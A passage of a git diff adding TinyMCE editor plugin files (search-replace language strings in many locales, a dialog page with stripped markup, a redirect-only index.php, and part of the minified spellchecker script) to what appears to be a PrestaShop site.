\u10e8\u10d4\u10ea\u10d5\u10da\u10d8\u10da\u10d8\u10d0.","searchnext_desc":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7 \u10de\u10dd\u10d5\u10dc\u10d0",notfound:"\u10eb\u10d4\u10d1\u10dc\u10d0 \u10d3\u10d0\u10e1\u10e0\u10e3\u10da\u10d4\u10d1\u10e3\u10da\u10d8\u10d0. \u10e8\u10d4\u10e1\u10d0\u10e2\u10e7\u10d5\u10d8\u10e1\u10d1\u10d8 \u10d0\u10e0 \u10d0\u10e0\u10d8\u10e1 \u10dc\u10d0\u10de\u10dd\u10d5\u10dc\u10d8.","search_title":"\u10eb\u10d8\u10d4\u10d1\u10d0","replace_title":"\u10db\u10dd\u10eb\u10d4\u10d1\u10dc\u10d0 \u10d3\u10d0 \u10e8\u10d4\u10ea\u10d5\u10da\u10d0",replaceall:"\u10e7\u10d5\u10d4\u10da\u10d0\u10e4\u10d4\u10e0\u10d8\u10e1 \u10e8\u10d4\u10ea\u10d5\u10da\u10d0",replace:"\u10e8\u10d4\u10ea\u10d5\u10da\u10d0"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/ko_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/ko_dlg.js new file mode 100755 index 0000000..6391723 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/ko_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ko.searchreplace_dlg',{findwhat:"\uac80\uc0c9 \ubb38\uc790\uc5f4",replacewith:"\uce58\ud658 \ubb38\uc790\uc5f4",direction:"\ubc29\ud5a5",up:"\uc704\uc5d0",down:"\uc544\ub798\uc5d0",mcase:"\ub300\ubb38\uc790/\uc18c\ubb38\uc790\ub97c \uad6c\ubcc4",findnext:"\uac80\uc0c9",allreplaced:"\ubaa8\ub450 \uce58\ud658\ub418\uc5c8\uc2b5\ub2c8\ub2e4.","searchnext_desc":"\uc7ac\uac80\uc0c9",notfound:"\uac80\uc0c9\uc774 \uc644\ub8cc\ud588\uc2b5\ub2c8\ub2e4. \uac80\uc0c9 \ubb38\uc790\uc5f4\uc740 \ubc1c\uacac\ub418\uc9c0 \uc54a\uc558\uc2b5\ub2c8\ub2e4.","search_title":"\uac80\uc0c9","replace_title":"\uac80\uc0c9/\uce58\ud658",replaceall:"\ubaa8\ub450 \uce58\ud658",replace:"\uce58\ud658"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/lt_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/lt_dlg.js new file mode 100755 index 0000000..bc35477 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.searchreplace_dlg',{findwhat:"Ko ie\u0161koti",replacewith:"Kuo pakeisti",direction:"Kryptis",up:"\u012e vir\u0161\u0173",down:"\u012e apa\u010di\u0105",mcase:"Visi\u0161kas atitikimas",findnext:"Ie\u0161koti sek.",allreplaced:"Visi paie\u0161kos fraz\u0117s pasikartojimai pakeisti.","searchnext_desc":"Ie\u0161koti dar kart\u0105",notfound:"Paie\u0161ka baigta. Paie\u0161kos fraz\u0117 nerasta.","search_title":"Ie\u0161koti","replace_title":"Ie\u0161koti/Pakeisti",replaceall:"Pakeisti visus",replace:"Pakeisti"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/nl_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/nl_dlg.js new file mode 100755 index 0000000..afda5f0 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/nl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('nl.searchreplace_dlg',{findwhat:"Zoeken naar",replacewith:"Vervangen door",direction:"Richting",up:"Omhoog",down:"Omlaag",mcase:"Identieke hoofdletters/kleine letters",findnext:"Zoeken",allreplaced:"Alle instanties van de zoekterm zijn vervangen.","searchnext_desc":"Opnieuw zoeken",notfound:"Het doorzoeken is voltooid. De zoekterm kon niet meer worden gevonden.","search_title":"Zoeken","replace_title":"Zoeken/Vervangen",replaceall:"Alles verv.",replace:"Vervangen"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/no_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/no_dlg.js new file mode 100755 index 0000000..a623c93 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/no_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('no.searchreplace_dlg',{findwhat:"Finn hva",replacewith:"Erstatt med",direction:"Retning",up:"Oppover",down:"Nedover",mcase:"Skille mellom store og sm\u00e5 bokstaver",findnext:"Finn neste",allreplaced:"Alle forekomster av s\u00f8kestrengen er erstattet.","searchnext_desc":"S\u00f8k igjen",notfound:"S\u00f8ket avsluttet. Fant ikke s\u00f8kestrengen.","search_title":"S\u00f8k","replace_title":"S\u00f8k/Erstatt",replaceall:"Erstatt alle",replace:"Erstatt"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/pl_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/pl_dlg.js new file mode 100755 index 0000000..df815de --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.searchreplace_dlg',{findwhat:"Znajd\u017a...",replacewith:"Zamie\u0144 na...",direction:"Kierunek",up:"W g\u00f3r\u0119",down:"W d\u00f3\u0142",mcase:"Uwzgl\u0119dniaj wielko\u015b\u0107 liter",findnext:"Znajd\u017a nast\u0119pny",allreplaced:"Wszystkie wyst\u0105pienia szukanego fragmentu zosta\u0142y zast\u0105pione.","searchnext_desc":"Znajd\u017a ponownie",notfound:"Wyszukiwanie zako\u0144czone. Poszukiwany fragment nie zosta\u0142 znaleziony.","search_title":"Znajd\u017a","replace_title":"Znajd\u017a/zamie\u0144",replaceall:"Zamie\u0144 wszystko",replace:"Zamie\u0144"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/pt_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/pt_dlg.js new file mode 100755 index 0000000..25c9a42 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.searchreplace_dlg',{findwhat:"Localizar",replacewith:"Substituir com",direction:"Dire\u00e7\u00e3o",up:"Acima",down:"Abaixo",mcase:"Diferenciar mai\u00fasculas",findnext:"Localizar pr\u00f3x.",allreplaced:"Todas as substitui\u00e7\u00f5es foram efetuadas.","searchnext_desc":"Localizar novamente",notfound:"A pesquisa foi conclu\u00edda sem resultados.","search_title":"Localizar","replace_title":"Localizar/substituir",replaceall:"Subst. todos",replace:"Substituir"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/ro_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/ro_dlg.js new file mode 100755 index 0000000..d076707 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.searchreplace_dlg',{findwhat:"Termen c\u0103utat:",replacewith:"\u00cenlocuie\u0219te cu:",direction:"Direc\u021bia",up:"\u00cen sus",down:"\u00cen jos",mcase:"Conteaz\u0103 literele mici/mari?",findnext:"Mai caut\u0103",allreplaced:"Toate instan\u021bele termenului c\u0103utat au fost \u00eenlocuite.","searchnext_desc":"Caut\u0103 din nou",notfound:"C\u0103utarea a fost terminat\u0103. Nu am g\u0103sit termenul c\u0103utat.","search_title":"Caut\u0103","replace_title":"C\u0103utare/\u00eenlocuire",replaceall:"\u00cenlocuie\u0219te tot",replace:"\u00cenlocuie\u0219te"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/ru_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/ru_dlg.js new file mode 100755 index 0000000..3cc2af8 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.searchreplace_dlg',{findwhat:"\u041f\u043e\u0438\u0441\u043a",replacewith:"\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430",direction:"\u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435",up:"\u0412\u0432\u0435\u0440\u0445 ",down:"\u0412\u043d\u0438\u0437",mcase:"\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0440\u0435\u0433\u0438\u0441\u0442\u0440",findnext:"\u041d\u0430\u0439\u0442\u0438 \u0434\u0430\u043b\u0435\u0435",allreplaced:"\u0412\u0441\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0431\u044b\u043b\u0438 \u0437\u0430\u043c\u0435\u043d\u0435\u043d\u044b.","searchnext_desc":"\u041d\u0430\u0439\u0442\u0438 \u0435\u0449\u0435",notfound:"\u041f\u043e\u0438\u0441\u043a \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d. \u0421\u043e\u043e\u0442\u0432\u0435\u0441\u0442\u0432\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e.","search_title":"\u041f\u043e\u0438\u0441\u043a","replace_title":"\u041f\u043e\u0438\u0441\u043a \u0438 \u0437\u0430\u043c\u0435\u043d\u0430",replaceall:"\u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435",replace:"\u0417\u0430\u043c\u0435\u043d\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/sk_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/sk_dlg.js new file mode 100755 index 0000000..5698886 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.searchreplace_dlg',{findwhat:"H\u013eada\u0165 \u010do",replacewith:"Nahradi\u0165 \u010d\u00edm",direction:"Smer",up:"Nahor",down:"Nadol",mcase:"Rozli\u0161ova\u0165 mal\u00e9 a VE\u013dK\u00c9 p\u00edsmen\u00e1",findnext:"H\u013eada\u0165 \u010falej",allreplaced:"V\u0161etky v\u00fdskyty boli nahraden\u00e9.","searchnext_desc":"H\u013eada\u0165 \u010falej",notfound:"H\u013eadanie bolo dokon\u010den\u00e9. H\u013eadan\u00fd text nebol n\u00e1jden\u00fd.","search_title":"H\u013eada\u0165","replace_title":"H\u013eada\u0165 a nahradi\u0165",replaceall:"Nahradi\u0165 v\u0161etko",replace:"Nahradi\u0165"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/sl_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/sl_dlg.js new file mode 100755 index 0000000..828fc64 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.searchreplace_dlg',{findwhat:"I\u0161\u010dem za",replacewith:"Zamenjam z",direction:"Smer",up:"navzgor",down:"navzdol",mcase:"ujemanje velikosti",findnext:"Najdi nasled.",allreplaced:"Vse pojavitve iskanega besedila so bile zamenjane.","searchnext_desc":"Najdi znova",notfound:"Preiskovanje zaklju\u010deno. Iskanega besedila nisem na\u0161el.","search_title":"Najdi","replace_title":"Najdi/zamenjaj",replaceall:"Zamenjaj vse",replace:"Zamenjaj"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/sv_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/sv_dlg.js new file mode 100755 index 0000000..d503ec8 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.searchreplace_dlg',{findwhat:"Hitta vad",replacewith:"Ers\u00e4tt med",direction:"Riktning",up:"Upp\u00e5t",down:"Ner\u00e5t",mcase:"Matcha gemener/versaler",findnext:"Hitta n\u00e4sta",allreplaced:"Alla st\u00e4llen d\u00e4r s\u00f6kstr\u00e4ngen kunde hittas har ersatts.","searchnext_desc":"S\u00f6k igen",notfound:"S\u00f6kningen har slutf\u00f6rts. S\u00f6kstr\u00e4ngen kunde inte hittas.","search_title":"S\u00f6k","replace_title":"S\u00f6k/ers\u00e4tt",replaceall:"Ers\u00e4tt alla",replace:"Ers\u00e4tt"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/th_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/th_dlg.js new file mode 100755 index 0000000..cd02e18 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.searchreplace_dlg',{findwhat:"\u0e04\u0e49\u0e19\u0e2b\u0e32",replacewith:"\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e14\u0e49\u0e27\u0e22",direction:"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07",up:"\u0e1a\u0e19",down:"\u0e25\u0e48\u0e32\u0e07",mcase:"\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e17\u0e38\u0e01\u0e2d\u0e22\u0e48\u0e32\u0e07",findnext:"\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e15\u0e48\u0e2d\u0e44\u0e1b",allreplaced:"\u0e17\u0e38\u0e01\u0e04\u0e33\u0e17\u0e35\u0e48\u0e43\u0e2a\u0e48\u0e16\u0e39\u0e01\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e41\u0e25\u0e49\u0e27","searchnext_desc":"\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e2d\u0e35\u0e01\u0e04\u0e23\u0e31\u0e49\u0e07",notfound:"\u0e01\u0e32\u0e23\u0e04\u0e49\u0e19\u0e2b\u0e32\u0e2a\u0e34\u0e49\u0e19\u0e2a\u0e38\u0e14 \u0e40\u0e23\u0e32\u0e44\u0e21\u0e48\u0e1e\u0e1a\u0e2d\u0e30\u0e44\u0e23\u0e40\u0e25\u0e22","search_title":"\u0e04\u0e49\u0e19\u0e2b\u0e32","replace_title":"\u0e04\u0e49\u0e19\u0e2b\u0e32/\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48",replaceall:"\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14",replace:"\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/tr_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/tr_dlg.js new file mode 100755 index 0000000..e5ef98c --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.searchreplace_dlg',{findwhat:"Aranan",replacewith:"Yeni de\u011fer",direction:"Y\u00f6n",up:"Yukar\u0131",down:"A\u015fa\u011f\u0131",mcase:"B\u00fcy\u00fck/k\u00fc\u00e7\u00fck duyarl\u0131",findnext:"Sonrakini bul",allreplaced:"Aranan metin bulundu\u011fu yerlede de\u011fi\u015ftirildi.","searchnext_desc":"Tekrar ara",notfound:"Arama tamamland\u0131. Aranan metin bulunamad\u0131.","search_title":"Bul","replace_title":"Bul/De\u011fi\u015ftir",replaceall:"T\u00fcm\u00fcn\u00fc de\u011fi\u015ftir",replace:"De\u011fi\u015ftir"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/tw_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/tw_dlg.js new file mode 100755 index 0000000..9b0894b --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.searchreplace_dlg',{findwhat:"\u641c\u5c0b\u76ee\u6a19",replacewith:"\u53d6\u4ee3\u70ba",direction:"\u65b9\u5411",up:"\u5411\u4e0a",down:"\u5411\u4e0b",mcase:"\u5340\u5206\u5927\u5c0f\u5beb",findnext:"\u5c0b\u627e\u4e0b\u4e00\u500b",allreplaced:"\u6240\u6709\u7b26\u5408\u7684\u5b57\u5143\u4e32\u5747\u5df2\u53d6\u4ee3\u3002","searchnext_desc":"\u7e7c\u7e8c\u641c\u5c0b",notfound:"\u641c\u5c0b\u5b8c\u7562\uff0c\u6c92\u6709\u627e\u5230\u7b26\u5408\u7684\u5b57\u5143\u4e32\u3002","search_title":"\u641c\u5c0b","replace_title":"\u641c\u5c0b/\u53d6\u4ee3",replaceall:"\u5168\u90e8\u53d6\u4ee3",replace:"\u53d6\u4ee3"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/uk_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/uk_dlg.js new file mode 100755 index 0000000..cdb46ab --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.searchreplace_dlg',{findwhat:"\u0417\u043d\u0430\u0439\u0442\u0438",replacewith:"\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438 \u043d\u0430",direction:"\u041d\u0430\u043f\u0440\u044f\u043c\u043e\u043a \u043f\u043e\u0448\u0443\u043a\u0443",up:"\u0412\u0433\u043e\u0440\u0443",down:"\u0412\u043d\u0438\u0437",mcase:"\u0412\u0440\u0430\u0445\u043e\u0432\u0443\u0432\u0430\u0442\u0438 \u0440\u0435\u0454\u0441\u0442\u0440",findnext:"\u0417\u043d\u0430\u0439\u0442\u0438 \u043d\u0430\u0441\u0442\u0443\u043f\u043d\u0435",allreplaced:"\u0412\u0441\u0456 \u0432\u0445\u043e\u0434\u0436\u0435\u043d\u043d\u044f \u0440\u044f\u0434\u043a\u0430 \u0431\u0443\u043b\u0438 \u0437\u0430\u043c\u0456\u043d\u0435\u043d\u0456.","searchnext_desc":"\u0417\u043d\u0430\u0439\u0442\u0438 \u0449\u0435",notfound:"\u041f\u043e\u0448\u0443\u043a \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u043e. \u041f\u043e\u0448\u0443\u043a\u043e\u0432\u0438\u0439 \u0440\u044f\u0434\u043e\u043a \u043d\u0435 \u0437\u043d\u0430\u0439\u0434\u0435\u043d\u043e.","search_title":"\u0428\u0443\u043a\u0430\u0442\u0438","replace_title":"\u0428\u0443\u043a\u0430\u0442\u0438/\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438",replaceall:"\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438 \u0432\u0441\u0435",replace:"\u0417\u0430\u043c\u0456\u043d\u0438\u0442\u0438"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/vi_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/vi_dlg.js new file mode 100755 index 0000000..f291ee7 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.searchreplace_dlg',{findwhat:"T\u00ecm ki\u1ebfm g\u00ec",replacewith:"Thay th\u1ebf v\u1edbi",direction:"H\u01b0\u1edbng",up:"L\u00ean",down:"Xu\u1ed1ng",mcase:"Theo c\u1ea3 ch\u1eef hoa",findnext:"T\u00ecm k\u1ebf ti\u1ebfp",allreplaced:"T\u1ea5t c\u1ea3 c\u00e1c l\u1ea7n xu\u1ea5t hi\u1ec7n c\u1ee7a c\u00e1c chu\u1ed7i t\u00ecm ki\u1ebfm \u0111\u01b0\u1ee3c thay th\u1ebf.","searchnext_desc":"T\u00ecm l\u1ea1i",notfound:"Vi\u1ec7c t\u00ecm ki\u1ebfm \u0111\u00e3 ho\u00e0n th\u00e0nh. Chu\u1ed7i t\u00ecm ki\u1ebfm kh\u00f4ng \u0111\u01b0\u1ee3c t\u00ecm th\u1ea5y.","search_title":"T\u00ecm ki\u1ebfm","replace_title":"T\u00ecm/Thay th\u1ebf",replaceall:"Thay th\u1ebf t\u1ea5t",replace:"Thay th\u1ebf"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/zh-cn_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/zh-cn_dlg.js new file mode 100755 index 0000000..8891247 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.searchreplace_dlg',{findwhat:"\u67e5\u627e\u76ee\u6807",replacewith:"\u66ff\u6362\u4e3a",direction:"\u67e5\u627e\u65b9\u5411",up:"\u5411\u4e0a",down:"\u5411\u4e0b",mcase:"\u533a\u5206\u5927\u5c0f\u5199",findnext:"\u67e5\u627e\u4e0b\u4e00\u4e2a",allreplaced:"\u6240\u6709\u51fa\u73b0\u7684\u5b57\u7b26\u5747\u5df2\u66ff\u6362\u3002","searchnext_desc":"\u7ee7\u7eed\u67e5\u627e",notfound:"\u67e5\u627e\u5b8c\u6210\uff0c\u672a\u627e\u5230\u7b26\u5408\u7684\u6587\u5b57\u3002","search_title":"\u67e5\u627e","replace_title":"\u67e5\u627e/\u66ff\u6362",replaceall:"\u5168\u90e8\u66ff\u6362",replace:"\u66ff\u6362"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/langs/zh-tw_dlg.js b/js/tiny_mce2/plugins/searchreplace/langs/zh-tw_dlg.js new file mode 100755 index 0000000..f60db8e --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.searchreplace_dlg',{findwhat:"\u5c0b\u627e",replacewith:"\u53d6\u4ee3\u6210",direction:"\u5c0b\u627e\u7684\u65b9\u5411",up:"\u5f80\u4e0a\u627e",down:"\u5f80\u4e0b\u627e",mcase:"\u5927\u5c0f\u5beb\u5340\u5206\u958b\u4f86",findnext:"\u627e\u4e0b\u4e00\u500b",allreplaced:"\u53d6\u4ee3\u5b8c\u6210","searchnext_desc":"\u518d\u627e\u4e00\u6b21",notfound:"\u627e\u4e0d\u5230\u7b26\u5408\u7684\u8cc7\u6599","search_title":"\u5c0b\u627e","replace_title":"\u5c0b\u627e / \u53d6\u4ee3",replaceall:"\u5168\u90e8\u53d6\u4ee3",replace:"\u53d6\u4ee3"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/searchreplace/searchreplace.htm b/js/tiny_mce2/plugins/searchreplace/searchreplace.htm new file mode 100755 index 0000000..bac5a18 --- /dev/null +++ b/js/tiny_mce2/plugins/searchreplace/searchreplace.htm @@ -0,0 +1,100 @@ + + + + {#searchreplace_dlg.replace_title} + + + + + + + + +
    + + +
    +
    + + + + + + + + + + + +
    + + + + + + + + + +
    + + + + + +
    +
    +
    + +
    + + + + + + + + + + + + + + + +
    + + + + + + + + + +
    + + + + + +
    +
    +
    + +
    + +
    + + + + +
    +
    + + diff --git a/js/tiny_mce2/plugins/spellchecker/css/content.css b/js/tiny_mce2/plugins/spellchecker/css/content.css new file mode 100755 index 0000000..656ce1e --- /dev/null +++ b/js/tiny_mce2/plugins/spellchecker/css/content.css @@ -0,0 +1 @@ +.mceItemHiddenSpellWord {background:url(../img/wline.gif) repeat-x bottom left; cursor:default;} diff --git a/js/tiny_mce2/plugins/spellchecker/css/index.php b/js/tiny_mce2/plugins/spellchecker/css/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/spellchecker/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/spellchecker/editor_plugin.js b/js/tiny_mce2/plugins/spellchecker/editor_plugin.js new file mode 100755 index 0000000..71fbb68 --- /dev/null +++ b/js/tiny_mce2/plugins/spellchecker/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.util.JSONRequest,c=tinymce.each,b=tinymce.DOM;tinymce.create("tinymce.plugins.SpellcheckerPlugin",{getInfo:function(){return{longname:"Spellchecker",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker",version:tinymce.majorVersion+"."+tinymce.minorVersion}},init:function(e,f){var g=this,d;g.url=f;g.editor=e;g.rpcUrl=e.getParam("spellchecker_rpc_url","{backend}");if(g.rpcUrl=="{backend}"){if(tinymce.isIE){return}g.hasSupport=true;e.onContextMenu.addToTop(function(h,i){if(g.active){return false}})}e.addCommand("mceSpellCheck",function(){if(g.rpcUrl=="{backend}"){g.editor.getBody().spellcheck=g.active=!g.active;return}if(!g.active){e.setProgressState(1);g._sendRPC("checkWords",[g.selectedLang,g._getWords()],function(h){if(h.length>0){g.active=1;g._markWords(h);e.setProgressState(0);e.nodeChanged()}else{e.setProgressState(0);if(e.getParam("spellchecker_report_no_misspellings",true)){e.windowManager.alert("spellchecker.no_mpell")}}})}else{g._done()}});if(e.settings.content_css!==false){e.contentCSS.push(f+"/css/content.css")}e.onClick.add(g._showMenu,g);e.onContextMenu.add(g._showMenu,g);e.onBeforeGetContent.add(function(){if(g.active){g._removeWords()}});e.onNodeChange.add(function(i,h){h.setActive("spellchecker",g.active)});e.onSetContent.add(function(){g._done()});e.onBeforeGetContent.add(function(){g._done()});e.onBeforeExecCommand.add(function(h,i){if(i=="mceFullScreen"){g._done()}});g.languages={};c(e.getParam("spellchecker_languages","+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv","hash"),function(i,h){if(h.indexOf("+")===0){h=h.substring(1);g.selectedLang=i}g.languages[h]=i})},createControl:function(h,d){var f=this,g,e=f.editor;if(h=="spellchecker"){if(f.rpcUrl=="{backend}"){if(f.hasSupport){g=d.createButton(h,{title:"spellchecker.desc",cmd:"mceSpellCheck",scope:f})}return g}g=d.createSplitButton(h,{title:"spellchecker.desc",cmd:"mceSpellCheck",scope:f});g.onRenderMenu.add(function(j,i){i.add({title:"spellchecker.langs","class":"mceMenuItemTitle"}).setDisabled(1);c(f.languages,function(n,m){var p={icon:1},l;p.onclick=function(){if(n==f.selectedLang){return}l.setSelected(1);f.selectedItem.setSelected(0);f.selectedItem=l;f.selectedLang=n};p.title=m;l=i.add(p);l.setSelected(n==f.selectedLang);if(n==f.selectedLang){f.selectedItem=l}})});return g}},_walk:function(i,g){var h=this.editor.getDoc(),e;if(h.createTreeWalker){e=h.createTreeWalker(i,NodeFilter.SHOW_TEXT,null,false);while((i=e.nextNode())!=null){g.call(this,i)}}else{tinymce.walk(i,g,"childNodes")}},_getSeparators:function(){var e="",d,f=this.editor.getParam("spellchecker_word_separator_chars",'\\s!"#$%&()*+,-./:;<=>?@[]^_{|}§©«®±¶·¸»¼½¾¿×÷¤\u201d\u201c');for(d=0;d$2");while((s=p.indexOf(""))!=-1){o=p.substring(0,s);if(o.length){r=j.createTextNode(f.decode(o));q.appendChild(r)}p=p.substring(s+10);s=p.indexOf("");o=p.substring(0,s);p=p.substring(s+11);q.appendChild(f.create("span",{"class":"mceItemHiddenSpellWord"},o))}if(p.length){r=j.createTextNode(f.decode(p));q.appendChild(r)}}else{q.innerHTML=p.replace(e,'$1$2')}f.replace(q,t)}});h.moveToBookmark(i)},_showMenu:function(h,j){var i=this,h=i.editor,d=i._menu,l,k=h.dom,g=k.getViewPort(h.getWin()),f=j.target;j=0;if(!d){d=h.controlManager.createDropMenu("spellcheckermenu",{"class":"mceNoIcons"});i._menu=d}if(k.hasClass(f,"mceItemHiddenSpellWord")){d.removeAll();d.add({title:"spellchecker.wait","class":"mceMenuItemTitle"}).setDisabled(1);i._sendRPC("getSuggestions",[i.selectedLang,k.decode(f.innerHTML)],function(m){var e;d.removeAll();if(m.length>0){d.add({title:"spellchecker.sug","class":"mceMenuItemTitle"}).setDisabled(1);c(m,function(n){d.add({title:n,onclick:function(){k.replace(h.getDoc().createTextNode(n),f);i._checkDone()}})});d.addSeparator()}else{d.add({title:"spellchecker.no_sug","class":"mceMenuItemTitle"}).setDisabled(1)}if(h.getParam("show_ignore_words",true)){e=i.editor.getParam("spellchecker_enable_ignore_rpc","");d.add({title:"spellchecker.ignore_word",onclick:function(){var n=f.innerHTML;k.remove(f,1);i._checkDone();if(e){h.setProgressState(1);i._sendRPC("ignoreWord",[i.selectedLang,n],function(o){h.setProgressState(0)})}}});d.add({title:"spellchecker.ignore_words",onclick:function(){var n=f.innerHTML;i._removeWords(k.decode(n));i._checkDone();if(e){h.setProgressState(1);i._sendRPC("ignoreWords",[i.selectedLang,n],function(o){h.setProgressState(0)})}}})}if(i.editor.getParam("spellchecker_enable_learn_rpc")){d.add({title:"spellchecker.learn_word",onclick:function(){var n=f.innerHTML;k.remove(f,1);i._checkDone();h.setProgressState(1);i._sendRPC("learnWord",[i.selectedLang,n],function(o){h.setProgressState(0)})}})}d.update()});l=b.getPos(h.getContentAreaContainer());d.settings.offset_x=l.x;d.settings.offset_y=l.y;h.selection.select(f);l=k.getPos(f);d.showMenu(l.x,l.y+f.offsetHeight-g.y);return 